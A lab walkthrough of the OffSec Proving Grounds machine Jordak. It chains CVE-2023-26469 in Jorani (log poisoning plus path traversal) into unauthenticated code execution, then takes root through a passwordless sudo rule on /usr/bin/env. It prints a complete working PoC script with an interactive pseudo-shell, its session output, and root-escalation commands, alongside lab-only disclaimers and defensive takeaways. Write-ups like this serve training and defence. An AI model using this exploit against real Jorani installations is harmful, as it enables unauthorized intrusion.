Skip to main content

OffSec Proving Grounds Jordak — Jorani CVE-2023-26469

James
AOV Security

In this Art of Vector walkthrough, we take OffSec Proving Grounds Jordak from a quiet two-port scan to full root by chaining CVE-2023-26469 in Jorani — log poisoning plus path traversal for unauthenticated RCE — then abusing a NOPASSWD sudo rule for /usr/bin/env.

Lab only. All testing was performed in an authorized training environment. Never run these techniques against systems you do not own or do not have explicit written permission to assess.

Summary​

Jordak looks quiet at first glance. A full TCP scan shows only SSH on 22 and Apache on 80, and the web title is the stock Ubuntu default page. The lab name and the reachable /session/login path tell a different story: the host is running Jorani, a leave and overtime management system.

Public research lands on CVE-2023-26469: unauthenticated remote code execution in Jorani prior to 1.0.2, built from log poisoning, header-based redirection bypass, and path traversal into the daily PHP log. The PoC yields a pseudo-shell as jordak. From there, sudo -l shows passwordless execution of /usr/bin/env, which is enough to run commands as root.

Enumeration​

Nmap​

Start with a full TCP scan plus service/version detection and default scripts:

nmap -sV -sC -p- 192.168.120.109 -v

Full scan output:

Completed NSE at 23:00, 0.00s elapsed
Nmap scan report for 192.168.120.109
Host is up (0.031s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 76:18:f1:19:6b:29:db:da:3d:f6:7b:ab:f4:b5:63:e0 (ECDSA)
|_ 256 cb:d8:d6:ef:82:77:8a:25:32:08:dd:91:96:8d:ab:7d (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-trane-info: Problem with XML parsing of /evox/about
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-favicon: Unknown favicon MD5: 96C540E05EFE5C9E11F15DD5CE70BB0F
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 22 is ordinary SSH. Without credentials, it is not the initial-access path. Port 80 is the attack surface — but the default Apache banner is a distraction, not the product.

Identifying Jorani​

The machine name Jordak is a strong hint toward Jorani. Confirm by hitting the login route used by the application:

http://192.168.120.109/session/login

That path is enough to stop generic fuzzing and move into product-specific CVE research for Jorani leave management.

Exploitation path​

CVE-2023-26469​

CVE-2023-26469 affects Jorani prior to 1.0.2. The public PoC (by Guilhem Rioux / @jrjgjk) chains three issues:

  1. Log poisoning — attacker-controlled input (including PHP) is written into the application log.
  2. Path traversal via the language parameter — the login request can point the app at ../../application/logs.
  3. Header-based command delivery — a random custom HTTP header carries a base64-encoded command; when the poisoned log is rendered through /pages/view/, that payload executes.

PoC reference: Orange-Cyberdefense / CVE_Jorani.py

PoC (poc.py)​

"""
vulnerability covered by CVE-2023-26469
"""
import readline
import requests
import datetime
import sys
import re
import base64
import random
import string

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

msg = lambda x,y="\n":print(f'\x1b[92m[+]\x1b[0m {x}', end=y)
err = lambda x,y="\n":print(f'\x1b[91m[x]\x1b[0m {x}', end=y)
log = lambda x,y="\n":print(f'\x1b[93m[?]\x1b[0m {x}', end=y)

CSRF_PATTERN = re.compile('<input type="hidden" name="csrf_test_jorani" value="(.*?)"')
CMD_PATTERN = re.compile('---------(.*?)---------', re.S)

URLS = {
'login' : '/session/login',
'view' : '/pages/view/',
}

alphabet = string.ascii_uppercase
HEADER_NAME = ''.join(random.choice(alphabet) for i in range(12))

BypassRedirect = {
'X-REQUESTED-WITH' : 'XMLHttpRequest',
HEADER_NAME : ""
}

INPUT = "\x1b[92mjrjgjk\x1b[0m@\x1b[41mjorani\x1b[0m(PSEUDO-TERM)\n$ " # The input used for the pseudo term

u = lambda x,y: x + URLS[y]

POISON_PAYLOAD = "<?php if(isset($_SERVER['HTTP_" + HEADER_NAME + "'])){system(base64_decode($_SERVER['HTTP_" + HEADER_NAME + "']));} ?>"
PATH_TRAV_PAYLOAD = "../../application/logs"

if __name__ == '__main__':
print("""
/!\\ Do not use this if you are not authorized to /!\\
""")
log("POC made by @jrjgjk (Guilhem RIOUX)", "\n\n")

if(len(sys.argv) == 1):
err(f"Usage: {sys.argv[0]} <url>")
exit(0)

log(f"Header used for exploit: {HEADER_NAME}")


t = sys.argv[1]

s = requests.Session()
log("Requesting session cookie")
res = s.get(u(t,"login"), verify = False)

C = s.cookies.get_dict()

Date = datetime.date.today()
log_file_name = f"log-{Date.year}-{str(Date.month).zfill(2)}-{str(Date.day).zfill(2)}"

csrf_token = re.findall(CSRF_PATTERN, res.text)[0]
log(f"Poisonning log file with payload: '{POISON_PAYLOAD}'")
log(f"Set path traversal to '{PATH_TRAV_PAYLOAD}'")
msg(f"Recoveredd CSRF Token: {csrf_token}")

data = {
"csrf_test_jorani" : csrf_token,
"last_page" : "session/login",
"language" : PATH_TRAV_PAYLOAD,
"login" : POISON_PAYLOAD,
"CipheredValue" : "DummyPassword"
}

s.post(u(t,"login"), data=data)

log(f"Accessing log file: {log_file_name}")

exp_page = t + URLS['view'] + log_file_name

### Shell
cmd = ""
while True:
cmd = input(INPUT)
if(cmd in ['x', 'exit', 'quit']):
break
elif(cmd == ""):
continue
else:
BypassRedirect[HEADER_NAME] = base64.b64encode(b"echo ---------;" + cmd.encode() + b" 2>&1;echo ---------;")
res = s.get(exp_page, headers=BypassRedirect)
cmdRes = re.findall(CMD_PATTERN, res.text)
try:
print(cmdRes[0])
except:
print(res.text)
err("Wow, there was a problem, are you sure of the URL ??")
err('exiting..')
exit(0)

Running the PoC​

From the lab working directory:

python poc.py http://192.168.120.109

Full session:

/!\ Do not use this if you are not authorized to /!\

[?] POC made by @jrjgjk (Guilhem RIOUX)

[?] Header used for exploit: EONVSJMUNYAX
[?] Requesting session cookie
[?] Poisonning log file with payload: '<?php if(isset($_SERVER['HTTP_EONVSJMUNYAX'])){system(base64_decode($_SERVER['HTTP_EONVSJMUNYAX']));} ?>'
[?] Set path traversal to '../../application/logs'
[+] Recoveredd CSRF Token: c24c1317c4d8eb134788801e06e50f15
[?] Accessing log file: log-2026-09-04


jrjgjk@jorani(PSEUDO-TERM)
$ id

uid=1000(jordak) gid=1000(jordak) groups=1000(jordak),27(sudo)

jrjgjk@jorani(PSEUDO-TERM)
$ sudo -l

Matching Defaults entries for jordak on jordak:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jordak may run the following commands on jordak:
(ALL : ALL) ALL
(ALL) NOPASSWD: /usr/bin/env

jrjgjk@jorani(PSEUDO-TERM)
$ sudo /usr/bin/env

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
LANG=C
MAIL=/var/mail/root
LOGNAME=root
USER=root
HOME=/root
SHELL=/bin/bash
TERM=unknown
SUDO_COMMAND=/usr/bin/env
SUDO_USER=jordak
SUDO_UID=1000
SUDO_GID=1000

jrjgjk@jorani(PSEUDO-TERM)
$ sudo /usr/bin/env whoami

root

Initial access lands as the local user jordak, already in the sudo group. The NOPASSWD rule on /usr/bin/env is the privilege-escalation path.

Why this works​

Three conditions align:

  1. Jorani is reachable without authentication hardening on the management UI.
  2. The vulnerable release still writes attacker-influenced data into PHP log files that can be included.
  3. Path traversal plus a spoofable request path turns a daily log into an executable RCE surface.

That turns an unauthenticated leave-management login into command execution on the host.

Privilege escalation​

env can execute an arbitrary program. With passwordless sudo on that binary, command execution as root is immediate:

sudo /usr/bin/env whoami
root

For a root shell, the same pattern works with a shell binary (for example sudo /usr/bin/env /bin/bash), consistent with known env sudo abuse patterns.

Root outcome​

Jordak is a short, high-signal chain:

  • recon finds only SSH and Apache
  • the default Ubuntu page is a red herring; Jorani is the real product
  • CVE-2023-26469 yields unauthenticated RCE as jordak
  • NOPASSWD sudo on /usr/bin/env elevates to root

Why this machine is a good lesson​

Jordak rewards precise product identification and careful reading of sudo rules.

The default Apache title can waste time if you treat the host as an empty install. Once Jorani is named, the CVE path is direct. After foothold, the lesson shifts from exotic local exploits to simple privilege misconfiguration: a passwordless helper binary is still a root path when it can launch other programs.

Defensive takeaways​

  1. Patch Jorani to 1.0.2 or later for CVE-2023-26469.
  2. Configure log files with a non-PHP extension and deny web access to the log directory.
  3. Do not expose leave-management UIs to untrusted networks without strong auth and network controls.
  4. Avoid NOPASSWD rules on wrappers like env that can execute arbitrary programs.
  5. Monitor for anomalous custom HTTP headers and path-traversal patterns against login and page-view endpoints.

References​

Unauthorized access is illegal. This write-up is for education and authorized lab work only.